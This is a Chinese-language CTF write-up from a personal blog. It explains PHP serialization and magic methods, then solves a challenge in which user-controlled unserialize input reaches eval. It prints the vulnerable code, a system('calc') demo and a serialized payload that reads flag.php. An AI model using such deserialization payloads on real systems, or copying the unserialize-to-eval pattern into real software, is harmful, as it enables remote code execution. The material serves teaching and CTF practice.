PHP反序列化-WriteUp

Last updated on September 13, 2025 pm

注意事项:阅读之前先要学会 php 的基础语法,面向对象的一些基础知识

什么是序列化和反序列化

  • 序列化是将对象转换成可存储的字节序列的过程
  • 反序列化是将字节序列恢复为对象

一个简单的实例

  • 序列化 serialize 函数
1
2
3
4
5
6
7
8
9
10
11
12
<?php 

class a{
var $name = "Lixiney"; // 内部变量
var $age = "18"; // 内部变量
}

$a = new a(); // new 一个对象

echo serialize($a); // 输出 序列化的字符串
?>

image-20250913223337798

  • 反序列化 unserialize 函数
1
2
3
4
5
6
7
8
9
<?php 

$str = 'O:1:"a":2:{s:4:"name";s:7:"Lixiney";s:3:"age";s:2:"18";}'; //上一步操作中的序列化后的字符串

$a = unserialize($str); // 反序列化

echo var_dump($a); // var_dump() 查看变量类型
?>

image-20250913223801807

什么是反序列化漏洞

序列化和反序列化本身没有什么问题,但是当 用户参数可控,而且后台错误的使用了一些危险函数的时候,就会出现安全问题

  • 一些魔法函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__construct()            //类的构造函数,创建对象时触发

__destruct() //类的析构函数,对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set() //在给不可访问属性赋值时触发

__isset() //当对不可访问属性调用 isset() 或 empty() 时触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当尝试以调用函数的方式调用一个对象时触发

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

接下来我们来逐行解析一下 赛题的代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class a{
var $act;
function action(){
eval($this->act); // eval函数会将字符串当成php代码执行
}
}
$a=unserialize($_GET['flag']); //从get方式传入一个数据
$a->action(); // 执行了 action 函数
?>

首先是 <?php ?> 这个是用来表示php语言的,php 脚本 以 <?php 开始 , 以 ?> 结束

highlight_file() 函数用来高亮显示代码

error_reporting(0) 表示清空本页的报错信息

eval 函数可以将字符串当作php代码执行

例如:

1
2
3
4
<?php
$str = "phpinfo();";
eval($str);
?>

image-20250913224910091

​ 既然 php 代码可以执行,那我们就可以执行一些危险的命令,如下

1
2
3
4
5
6
<?php 

$str = "system('calc');"; // 执行系统命令 calc 是打开计算器

eval($str);
?>

image-20250913225143367

根据这个原理就可以拿到 flag.php 中的 内容

下面这个代码用来生成 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 

class a{
var $act;
function action(){
eval($this->act);
}
}

$a = new a();
$a -> act = "highlight_file('flag.php');";
echo serialize($a);
?>

根据前文所写的 高亮显示代码的函数 可以查看 flag.php 中的内容

1
O:1:"a":1:{s:3:"act";s:27:"highlight_file('flag.php');";}

image-20250913230645311

提交到 ?flag 拿到flag


PHP反序列化-WriteUp
https://blog.lixey.top/posts/3e0906bb/
Author
Lixiney
Posted on
September 13, 2025
Licensed under